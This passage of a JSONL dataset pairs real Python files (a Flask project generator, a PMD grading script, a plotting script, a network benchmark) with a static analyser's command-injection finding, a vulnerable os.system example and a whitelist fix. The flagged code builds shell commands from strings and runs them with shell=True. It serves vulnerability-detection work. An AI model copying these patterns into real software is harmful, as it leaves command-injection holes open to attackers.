stderr.lower():\n            raise SSWIDLError(stderr)\n        if 'failed to acquire license' in stderr.lower():\n            raise IDLLicenseError(stderr)\n        if verbose:\n            print(f'{stderr}\\n{stdout}')", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 129, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "4b0c1ef989578211a354fd7237683b441fe6c1287acf7065981a55aa9455ccd9", "license": {"spdx": ["MIT"], "repo": "zacharybeebe/template_flask", "path": "template_flask/funcs.py", "repo_head_hexsha": "0bae0a5211a12902bf4a60e2307c7f218a016843", "stack_hexsha": "eca5d1f5d617d049e1729b1c1c9b71a87d2f065e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 136, "entireCode": "import os\nimport site\nimport venv\nimport subprocess\nimport time\nfrom random import choice, randrange\nfrom .constants import *\n\n\ndef generate_random_secret_key():\n    key = ''\n    for i in range(32):\n        alpha = choice([chr(randrange(65, 91)), chr(randrange(97, 123))])\n        num = chr(randrange(48, 58))\n        sym = choice([chr(randrange(33, 48)), chr(randrange(58, 65)), chr(randrange(123, 127))])\n        key += choice([alpha, num, sym])\n    return key\n\n\ndef copy_bootstrap(dest_path, bs_type):\n    if bs_type in ['css', 'js']:\n        end_path = os.path.join(os.path.join('bootstrap', 'static'), bs_type)\n    else:\n        end_path = os.path.join('bootstrap', bs_type)\n    src_path = os.path.join(os.path.dirname(__file__), end_path)\n\n    for filename in os.listdir(src_path):\n        iterables = []\n        src_file = os.path.join(src_path, filename)\n        with open(src_file, 'r') as f:\n            for line in f.readlines():\n                fill = line.replace('\\n', '')\n                iterables.append([f'''{fill}''', False])\n\n        dest_file = os.path.abspath(os.path.join(dest_path, filename))\n        write_file(dest_file, iterables)\n\n\ndef write_file(file_path, iterable_lines, fills: dict={}):\n    with open(file_path, 'w') as f:\n        for line in iterable_lines:\n            line_to_write, needs_fill = line\n\n            if needs_fill:\n                f.write(f'{line_to_write.format(**fills)}\\n')\n            else:\n                f.write(f'{line_to_write}\\n')\n\n\ndef create_dir_and_venv(project_name: str, full_path: str):\n    FILLS = {\n        'app': project_name,\n        'secret_key': generate_random_secret_key(),\n    }\n\n    venv_path = os.path.join(full_path, 'venv')\n    venv.create(venv_path, with_pip=True)\n\n    package_path = os.path.join(full_path, f'{project_name}_app')\n    config_dir = os.path.join(package_path, 'config')\n    models_dir = os.path.join(package_path, 'models')\n    routes_dir = os.path.join(package_path, 'routes')\n\n    static_dir = os.path.join(package_path, 'static')\n    css_dir = os.path.join(static_dir, 'css')\n    img_dir = os.path.join(static_dir, 'img')\n    js_dir = os.path.join(static_dir, 'js')\n    css_boot = os.path.join(css_dir, 'bootstrap')\n    js_boot = os.path.join(js_dir, 'bootstrap')\n    js_fetcher = os.path.join(js_dir, 'fetcher.js')\n\n    templates_dir = os.path.join(package_path, 'templates')\n    templates_boot = os.path.join(templates_dir, 'bootstrap')\n    index_path = os.path.join(templates_dir, 'index.html')\n\n    config_init = os.path.join(config_dir, '__init__.py')\n    config_config = os.path.join(config_dir, 'app_config.py')\n\n    models_init_hint = os.path.join(models_dir, '_LOOK IN MODELS __INIT__.txt')\n    models_init = os.path.join(models_dir, '__init__.py')\n    models_db = os.path.join(models_dir, 'db.py')\n    models_datatypes = os.path.join(models_dir, 'datatypes.py')\n    models_user = os.path.join(models_dir, 'user.py')\n    models_other_model = os.path.join(models_dir, 'other_model.py')\n\n    routes_init = os.path.join(routes_dir, '__init__.py')\n    routes_routes = os.path.join(routes_dir, 'routes.py')\n\n    run_main = os.path.join(full_path, 'run.py')\n    init_main = os.path.join(package_path, '__init__.py')\n\n    os.mkdir(package_path)\n    os.mkdir(config_dir)\n    os.mkdir(models_dir)\n    os.mkdir(routes_dir)\n    os.mkdir(static_dir)\n    os.mkdir(css_dir)\n    os.mkdir(img_dir)\n    os.mkdir(js_dir)\n    os.mkdir(css_boot)\n    os.mkdir(js_boot)\n    os.mkdir(templates_dir)\n    os.mkdir(templates_boot)\n\n    write_file(index_path, INDEX_HTML, fills=FILLS)\n\n    write_file(config_init, CONFIG_INIT)\n    write_file(config_config, CONFIG_CONFIG, fills=FILLS)\n\n    write_file(js_fetcher, JS_FETCHER)\n\n    write_file(models_init_hint, MODEL_INIT_HINT)\n    write_file(models_init, MODEL_INIT, fills=FILLS)\n    write_file(models_db, MODEL_DB)\n    write_file(models_datatypes, MODEL_DATATYPES)\n    write_file(models_user, MODEL_USER, fills=FILLS)\n    write_file(models_other_model, MODEL_OTHER_MODEL, fills=FILLS)\n\n    write_file(routes_init, ROUTE_INIT)\n    write_file(routes_routes, ROUTE_ROUTE, fills=FILLS)\n\n    write_file(run_main, RUN, fills=FILLS)\n    write_file(init_main, INIT, fills=FILLS)\n\n    copy_bootstrap(templates_boot, 'templates')\n    copy_bootstrap(css_boot, 'css')\n    copy_bootstrap(js_boot, 'js')\n\n\ndef activate_venv_and_install_reqs(project_name: str, full_path: str):\n    reqs_path = os.path.join(full_path, 'requirements.txt')\n    venv_path = os.path.join(full_path, os.path.join('venv', 'Scripts'))\n\n    os.chdir(venv_path)\n    cmd = f'python -m pip install {\" \".join(REQUIREMENTS)}'\n    subprocess.run(cmd, shell=True)\n    print()\n\n    cmd = f'python -m pip freeze'\n    reqs = [x.decode('utf-8').split('==')[0]\n            for x in subprocess.run(cmd, check=True, stdout=subprocess.PIPE, shell=True).stdout.splitlines()]\n\n    print('Completed installing requirements into virtual environment\\n')\n    for req in reqs:\n        print(req)\n        time.sleep(0.05)\n    print()\n    print('Packages above have been automatically installed into virtual environment')\n\n    with open(reqs_path, 'w') as f:\n        for req in reqs:\n            f.write(f\"\"\"{req}\\n\"\"\")\n\n    print('Completed writing initial \"requirements.txt\"\\n')\n    print(DIRECTORY_STRUCTURE.format(app=project_name))\n\n\n\n\nif __name__ == '__main__':\n    print(get_bootstrap_path())\n\n\n\n\n\n\n\n\n\n\n\n", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 136, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "e464df30487f2b2003b6e8bebb1e27c8e5d8416fa9fbef13795823565b773694", "license": {"spdx": ["Apache-2.0"], "repo": "malags/java-misconceptions-pmd", "path": "run.py", "repo_head_hexsha": "2c7cc588dab53277b38915a941ab054e3c85aaae", "stack_hexsha": "88a0ea18d8d4f0ffa5ca6790690153c088f1b61c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 44, "entireCode": "#!/usr/bin/env python3\n\nfrom pathlib import Path\nimport sys\nimport subprocess\nimport re\nimport argparse\nimport os\n#Path of file\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\n#TODO: insert correct org name\norg='YOUR_ORG_NAME_HERE'\n\n\npmd_pos = dir_path + '/pmd-bin-6.14.0/bin'\npos_yaclu = dir_path+ '/yaclu'\nroot = dir_path+ '/student-repos'\npos_classroom_sh = dir_path+ '/classroom-util'\n\n\n\nparser = argparse.ArgumentParser(description='Use to download and run tests on git repos')\nparser.add_argument('lab', help='the lab to utilise i.e. lab01')\nparser.add_argument('-clone', action='store_true', help='clone the repositories for the lab')\nparser.add_argument('-pull', action='store_true', help='pull the repositories for the lab')\nparser.add_argument('-check', action='store_true', help='run pmd on the repositories')\nparser.add_argument('-report', action='store_true', help='create a report with the total of the violation per pmd rule, need -check beforehand')\nparser.add_argument('-enablers', action='store_true', help='use jar for enablers')\nargs = parser.parse_args()\n\n\n#assume path is correct\ndef get_all_folders(root):\n    p = Path(root);\n    folders = [];\n    for folder in p.iterdir():\n        if folder.is_dir():\n            folders.append(folder.name);\n    return folders;\n\ndef run_pmd(root,folders,command):\n    for folder in folders:\n        subprocess.run('cd '+root+'/'';'+command +' '+folder, shell=True);\n\ndef run_pmd_check(root,folders):\n    subprocess.run('cd '+root+'; echo \"\" > violation.csv', shell=True);\n    for folder in folders:\n        if not args.enablers:\n            jar = '/JavaRules/pmd-examples/pf2_custom_rules.jar'\n            en = 'v'\n        else:\n            jar = '/RulesEnabler/pmd-examples/pf2_custom_rules_enabler.jar'\n            en = 'enablerV'\n        subprocess.run('cd ' + root + '/ ;CLASSPATH=' + dir_path + jar +' ' + pmd_pos +'/run.sh pmd -no-cache -f csv -d ' + folder + ' -R myrule.xml -t 8 | grep -v \"Test.java\" | tee '+root+'/'+folder+ '/' + en + 'iolation.csv >> violation.csv', shell=True);\n\ndef run_pmd_output(root,folders,command):\n    out = {};\n    for folder in folders:\n        p = subprocess.check_output('cd '+root+'/'+folder+';'+command, shell=True);\n        p = p.decode(\"utf-8\");\n        p = p.split('\\n');\n\n        for part in p:\n            if len(part) < 2:\n                continue;\n            rule_name = part.split(' ')[4][5:];\n            if rule_name in out:\n                out[rule_name] = out[rule_name] + 1;\n            else:\n                out[rule_name] = 1;\n    return out;\n\nif(len(sys.argv) < 2):\n    print(\"need a lab\");\n    exit();\n\npath = sys.argv[1];\n\nif(not re.match(\"lab[0-9]+\",path)):\n    print(\"invalid lab \",path,' should be like lab[0-1]+');\n    exit();\n\n#convert to absolute path\nlab = path.replace('lab','lab-');\npath = root + '/' + path;\n\nif(not Path(path).exists()):\n    print('creating folder ' + lab);\n    subprocess.run('mkdir ' + path, shell=True);\n\nif(not Path(path).is_dir()):\n    print('need a folder name as first argument');\n    exit();\n\nsubfolders = get_all_folders(path);\n\n\nif(args.clone):\n    subfolders = get_all_folders(path);\n     #python3 ../../yaclu/get-assignment-repos.py usi-pf2-2019 lab-01 > meta.txt\n    command = 'python3 ' + pos_yaclu + '/get-assignment-repos.py ' + org + ' ' + lab + '> ' + path + '/meta.txt';\n    print(command);\n    subprocess.run(command, shell=True);\n    command = 'cd ' + path + ' ; ' + pos_classroom_sh + '/classroom.sh collect ' +path + '/meta.txt ' + lab;\n    print(command);\n    subprocess.run(command, shell=True)\n\nif(args.pull):\n    command = 'cd ' + path + ' ; ' + pos_classroom_sh + '/classroom.sh collect ' +path + '/meta.txt ' + lab;\n    print(command);\n    subprocess.run(command, shell=True)\n\nif(args.check):\n    run_pmd_check(path,subfolders);\n\nif(args.report):\n    F = open(path+'/violation.csv','r')\n    #already checked student\n    done = False\n\n    violationsTotal = {};\n    violationsStudent = {};\n    lastRule = ''\n\n    for line in F:\n\n        pieces = line.split(',')\n        if(len(pieces) < 7):\n            continue\n        rule_name = pieces[-1]\n        if 'Test.java' in line:\n            continue\n        if rule_name == '\"Rule\"\\n':\n            continue\n        #total count\n        if rule_name in violationsTotal:\n            violationsTotal[rule_name] = violationsTotal[rule_name] + 1;\n        else:\n            violationsTotal[rule_name] = 1;\n\n        student_name = re.search('lab-\\d+-((\\d|[a-z]|[A-Z])+)',  pieces[2]).group(1)\n\n        if rule_name in violationsStudent:\n            if not student_name in violationsStudent[rule_name]:\n                violationsStudent[rule_name].append(student_name);\n        else:\n            violationsStudent[rule_name] = [student_name];\n\n\n\n\n    #out = run_pmd_output(path,subfolders,'cat pmd_failures');\n    csv = open(path+'/report_rules_total.csv', \"w\");\n    csv.write('Rule, Number\\n');\n    for key in violationsTotal:\n        csv.write(key.strip()+','+str(violationsTotal[key])+'\\n');\n    csv.close();\n\n    csv = open(path+'/report_rules_total_nr_students.csv', \"w\");\n    csv.write('Rule, Number\\n');\n    for key in violationsStudent:\n        csv.write(key.strip()+','+str(len(violationsStudent[key]))+'\\n');\n    csv.close();\n    print()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 44, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "2948486511c6ff7f15c0db0998db2f9eb1398ab6cdde5b3214972401eb996b76", "license": {"spdx": ["MIT"], "repo": "martin-rdz/trace", "path": "animate_flex.py", "repo_head_hexsha": "ef4173a0c5bd399c132e5be34bef19f89599f3eb", "stack_hexsha": "40ceb6d685867792705776f8aa13ed9a53383a7e", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 106, "entireCode": "#! /usr/bin/env python3\n# coding=utf-8\n\"\"\"\"\"\"\n\"\"\"\nAuthor: \n\n\n\"\"\" \n\nimport datetime\nimport argparse\nimport sys, os\nimport gc\nimport subprocess\nimport traceback\nimport numpy as np\nimport toml\nsys.path.append(\"..\")\nimport trace_source\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--station', help='station name like limassol, barbados or mcmurdo')\nparser.add_argument('--datetime', help='date in the format YYYYMMDD-HH')\nparser.add_argument('--levels', nargs='+', type=int)\nparser.add_argument('--dynamics', default='false', help='add the isobars/isoterms from the grib files')\n#parser.add_argument('--daterange', help='date range in the format YYYYMMDD-YYYMMDD')\n\n\nargs = parser.parse_args()\n\n\nconfig_file = 'config_{}.toml'.format(args.station)\n\n\nwith open(config_file) as f:\n    config = toml.loads(f.read())\n\nend = datetime.datetime.strptime(args.datetime, '%Y%m%d-%H')\nsavepath = '{}/{}_maps'.format(config['plot_dir'], end.strftime('%Y%m%d_%H'))\nprint(\"savepath \", savepath)\n\nfolder = config['partposit_dir'] + '{}/'.format(end.strftime('%Y%m%d_%H'))\nprint('partposit_dir', folder)\n\ndt_range = [end-datetime.timedelta(days=10), end]\n\nfiles = os.listdir(folder)\nfiles = sorted([f for f in files if 'partposit' in f])\nls = trace_source.land_sfc.land_sfc()\n\nif args.levels is not None:\n    levels = args.levels\nelse:\n    # get levels from config file\n    raise ValueError\nprint('levels ', args.levels)\n\nif args.dynamics == 'false':\n    add_dyn = False\nelif args.dynamics == 'true':\n    add_dyn = True\nelse:\n    raise ValueError\n\nlevel_to_heights = {}\n\nfor f in files[:]:\n\n    for i in levels:\n        dt = datetime.datetime.strptime(f[10:], '%Y%m%d%H%M%S')\n        part_pos = trace_source.flexpart.read_partpositions(folder + f, 1, ctable=False)\n\n        traj = trace_source.flexpart.read_flexpart_traj_meta(folder + \"trajectories.txt\")\n        level_to_heights[i] = np.mean(traj['releases_meta'][i]['heights'])\n        trace_source.flexpart.plot_part_loc_map(part_pos, i, dt, traj, savepath, ls=ls, \n                                                config=config, \n                                                add_dyn=add_dyn,\n                                                )\n                                                #add_fire='M6_7452')\n    gc.collect()\n\n\n# for a nicer animation also include the last timestep\n#\nfor i in levels:\n    dt = end\n    traj = trace_source.flexpart.read_flexpart_traj_meta(folder + \"trajectories.txt\")\n    meta = traj['releases_meta'][i]\n    part_pos = [[i, meta['lat_lon_bounds'][0], meta['lat_lon_bounds'][1], np.mean(meta['heights'])]]\n\n    trace_source.flexpart.plot_part_loc_map(part_pos, i, dt, traj, savepath, ls=ls, \n                                            config=config, \n                                            add_dyn=add_dyn,\n                                            )\n\nos.chdir(savepath)\nprint(os.getcwd())\n\nfor i in levels:\n\n    fname_animation = \"{}_{:.0f}_r{:0>2}_{}.gif\".format(end.strftime('%Y%m%d_%H'), level_to_heights[i], i, args.station)\n    command = \"convert -scale 70% -coalesce -layers Optimize -delay 20 -loop 0 `ls r{:0>2}*.png | sort -r` {}\".format(i, fname_animation)\n    print('run: ', command)\n    try:\n        process = subprocess.run(command, shell=True, check=True, stdout=subprocess.PIPE, universal_newlines=True)\n    except:\n        traceback.print_exc()\n\n    fname_animation = \"{}_{:.0f}_r{:0>2}_{}_f.gif\".format(end.strftime('%Y%m%d_%H'), level_to_heights[i], i, args.station)\n    command = \"convert -scale 70% -coalesce -layers Optimize -delay 20 -loop 0 `ls r{:0>2}*.png | sort ` {}\".format(i, fname_animation)\n    print('run: ', command)\n    try:\n        process = subprocess.run(command, shell=True, check=True, stdout=subprocess.PIPE, universal_newlines=True)\n    except:\n        traceback.print_exc()\n\n    # from flexpart module\n    # convert -scale 70% -coalesce -layers Optimize -delay 20 -loop 0 `ls r11*.png | sort -r` r11.gif\n    # from notebook \n    # convert -delay 20 -loop 0 `ls r2*.png | sort -r` r2.gif\n    # convert -resize 1500x1000 -delay 20 -loop 0 `ls r4*.png | sort -r` r4.gif\n    # convert -scale 50% -coalesce -layers Optimize -delay 20 -loop 0 `ls r11*.png | sort -r` r11.gif\n    # convert -scale 70% -coalesce -layers Optimize -delay 20 -loop 0 `ls r11*.png | sort -r` r11.gif", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 106, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "97052d2cf53c1c6975e759a90b22d24703c2b32ab900d2f278a3fd292e0aab5a", "license": {"spdx": ["Apache-2.0"], "repo": "pchaigno/egress-filtering-benchmark", "path": "benchmark/run_tests.py", "repo_head_hexsha": "25e99fd7135d43fd079b9f6179d0d6221cc942a9", "stack_hexsha": "319c116581f5d31dc34d7e06a83616b881959c13", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 36, "entireCode": "import json\nimport sys\nimport csv\nimport argparse\nimport time\nimport subprocess\n\nimport pingparsing\n\n# defined in parameters.py\nfrom parameters import  (\n    filters,\n    number_rules,\n    iterations,\n    iface,\n    bandwidth,\n    seed,\n    ipnets,\n    ping_interval,\n    ping_count,\n)\n\nfrom k8s import benchmark_pod_tmpl\n\nfrom string import Template\n\nparser = argparse.ArgumentParser(\"Test egress performance\")\nparser.add_argument(\"--username\")\nparser.add_argument(\"--client\")\nparser.add_argument(\"--server\")\nparser.add_argument(\"--mode\")\nargs = parser.parse_args()\n\ndef get_pod(pod_name):\n   cmd = \"kubectl get pod -n default {} -o jsonpath='{{.metadata.name}}'\".format(pod_name)\n   result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n   return result.stdout.decode(\"utf-8\")\n\n\ndef delete_benchmark_pod(pod_name):\n    exists = get_pod(pod_name)\n    if exists == \"\":\n        return None\n\n    cmd = \"kubectl delete pod -n default {}\".format(pod_name)\n    result = subprocess.run(cmd, stdout=subprocess.PIPE, shell=True)\n    return result.stdout.decode(\"utf-8\")\n\ndef pod_status(pod_name):\n    cmd = \"kubectl get pod {} -o jsonpath='{{.status.phase}}'\".format(pod_name)\n    result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True)\n    return result.stdout.decode(\"utf-8\")\n\ndef get_output(pod_name):\n    phase = pod_status(pod_name)\n    for x in range(1,100):\n        if phase != \"Succeeded\":\n            time.sleep(3)\n            phase = pod_status(pod_name)\n\n        if phase == \"Succeeded\":\n            cmd = \"kubectl logs -n default {}\".format(pod_name)\n            result = subprocess.run(cmd, stdout=subprocess.PIPE, shell=True)\n            return result.stdout.decode(\"utf-8\")\n\n    return None\n\ndef run_on_k8s(filter,nrules,cmd):\n    benchmark_cmd = Template(benchmark_pod_tmpl).substitute(count=nrules, iface=iface, seed=seed, ipnets=ipnets, filter=filter,cmd=cmd)\n    cmd = '''\nkubectl apply -f - << EOF\n{}\nEOF'''.format(benchmark_cmd)\n\n    result = subprocess.run(cmd, stdout=subprocess.PIPE, shell=True)\n    return result.stdout.decode(\"utf-8\")\n\n\nbenchmark_cmd_format = \"sudo -E ./benchmark -count {count} -iface {iface} -seed {seed} -ipnets {ipnets} -filter {filter}\"\ndef run_test(filter, nrules, cmd):\n    benchmark_cmd = benchmark_cmd_format.format(count=nrules, iface=iface, seed=seed, ipnets=ipnets, filter=filter)\n    cmd = \"export BENCHMARK_COMMAND='{}' ; {}\".format(cmd, benchmark_cmd)\n    return run_in_client(cmd)\n\niperf_cmd_format_for_k8s = \"iperf3 -c {server} {mode_flags} -O 2 -t 10 -A 2 -J\"\niperf_cmd_format = \"docker run --name iperfclient --net=host networkstatic/iperf3 -c {server} {mode_flags} -O 2 -t 10 -A 2 -J\"\ndef run_iperf_test(filter, nrules, mode):\n    flags = \"\"\n    if mode == \"udp\":\n        flags = \"-u -l 1470 -b {}\".format(bandwidth)\n\n    if filter == \"calico\" or filter == \"cilium\":\n        iperf_cmd = iperf_cmd_format_for_k8s.format(server=args.server, mode_flags=flags)\n        out = run_on_k8s(filter, nrules, iperf_cmd)\n        if not out:\n            return None\n        out = get_output(\"egress-benchmark\")\n        if not out:\n            return None\n    else:\n        iperf_cmd = iperf_cmd_format.format(server=args.server, mode_flags=flags)\n        run_in_client(\"docker rm --force iperfclient || true\")\n        out = run_test(filter, nrules, iperf_cmd)\n        if not out:\n            return None\n    #print(\"out is: \" + out)\n    index = out.find(\"{\")\n    if index == -1:\n        return None\n    j = json.loads(out[index:])\n\n    if mode == \"udp\":\n        key = \"sum\"\n    elif mode == \"tcp\":\n        key = \"sum_received\"\n\n    throughput = float((j[\"end\"][key][\"bits_per_second\"]))/(10**9)\n    cpu = float(j[\"end\"][\"cpu_utilization_percent\"][\"host_total\"])\n\n    return (throughput, cpu)\n\nping_cmd_format = \"ping -i {interval} -c {count} {dest}\"\ndef run_ping_test(filter, nrules, mode):\n    cmd = ping_cmd_format.format(interval=ping_interval, count=ping_count, dest=args.server)\n\n    if filter == \"calico\" or filter == \"cilium\":\n        result = run_on_k8s(filter, nrules, cmd)\n        if not result:\n            return None\n        result = get_output(\"egress-benchmark\")\n        if not result:\n            return None\n    else:\n        result = run_test(filter, nrules, cmd)\n        #print(\"result is ---\" + result)\n        if not result:\n            return None\n    parser = pingparsing.PingParsing()\n    stats = parser.parse(result)\n    return stats.rtt_avg\n\ndef start_iperf_server():\n    run_in_server(\"docker rm --force iperfserver || true\")\n    run_in_server(\"docker run --name iperfserver -d --net=host networkstatic/iperf3 -s -A 2\")\n    time.sleep(2)\n\ndef copy_benchmark_to_client():\n    cmd = \"scp benchmark {}@{}:\".format(args.username, args.client)\n    subprocess.run(cmd, stdout=subprocess.PIPE, shell=True)\n\ndef run_in_client(cmd):\n    return run_over_ssh(args.client, cmd)\n\ndef run_in_server(cmd):\n    return run_over_ssh(args.server, cmd)\n\ndef run_over_ssh(host, cmd):\n    cmd_to_run = 'ssh {}@{} \"{}\"'.format(args.username, host, cmd)\n    result = subprocess.run(cmd_to_run, stdout=subprocess.PIPE, shell=True)\n    if result.returncode != 0:\n      return None\n    return result.stdout.decode(\"utf-8\")\n\ndef write_csv(filename, data):\n    with open(filename, \"w\", newline=\"\") as csvfile:\n        writer = csv.writer(csvfile, delimiter=\"\\t\",\n                                quotechar=\";\", quoting=csv.QUOTE_MINIMAL)\n        writer.writerow([\"Filter\", \"Rules\"] + [\"r\"+str(i) for i in range(1, iterations+1)])\n        for (filter_name, filter_data) in data.items():\n            for (rules_number, results) in filter_data.items():\n                writer.writerow([filter_name, rules_number] + results)\n\n# [filter][rules_number][run]\ndata_throughput = {}\ndata_cpu = {}\ndata_ping = {}\ndata_setup = {}\n\ncopy_benchmark_to_client()\nstart_iperf_server()\n\nprint(\"%\\tfilter\\tnrules\\titeration\\tthroughput\\tcpu\\tping\\t\")\n\nnumber_of_tests = len(filters)*len(number_rules)*iterations\nnumber_of_tests_executed = 0\n\n# run the tests and collect all the data\nfor (filter_index, filter) in enumerate(filters):\n    data_throughput[filter] = {}\n    data_cpu[filter] = {}\n    data_ping[filter] = {}\n    data_setup[filter] = {}\n\n    for (rules_index, n) in enumerate(number_rules):\n        data_throughput[filter][n] = []\n        data_cpu[filter][n] = []\n        data_ping[filter][n] = []\n        data_setup[filter][n] = []\n\n        for i in range(iterations):\n            percentage = 100.0*float(number_of_tests_executed)/number_of_tests\n            print(\"{:1.0f}\\t{}\\t{}\\t{}\\t\".format(percentage, filter, n, i), end=\"\")\n\n            if filter == \"calico\" or filter == \"cilium\":\n                delete_benchmark_pod(\"egress-benchmark\")\n            out = run_iperf_test(filter, n, args.mode)\n            if not out:\n                print(\"Testing iperf for {}:{}:{} failed\".format(filter, n, i))\n                continue\n\n            if filter == \"calico\" or filter == \"cilium\":\n                delete_benchmark_pod(\"egress-benchmark\")\n            out_ping = run_ping_test(filter, n, args.mode)\n            if not out_ping:\n                print(\"Testing ping for {}:{}:{} failed\".format(filter, n, i))\n                continue\n            out_ping = 1000*out_ping\n\n            if filter == \"calico\" or filter == \"cilium\":\n                delete_benchmark_pod(\"egress-benchmark\")\n                setup = run_on_k8s(filter, n, \"MEASURE_SETUP_TIME\")\n                setup = get_output(\"egress-benchmark\")\n            else:\n                setup = run_test(filter, n, \"MEASURE_SETUP_TIME\")\n            if not 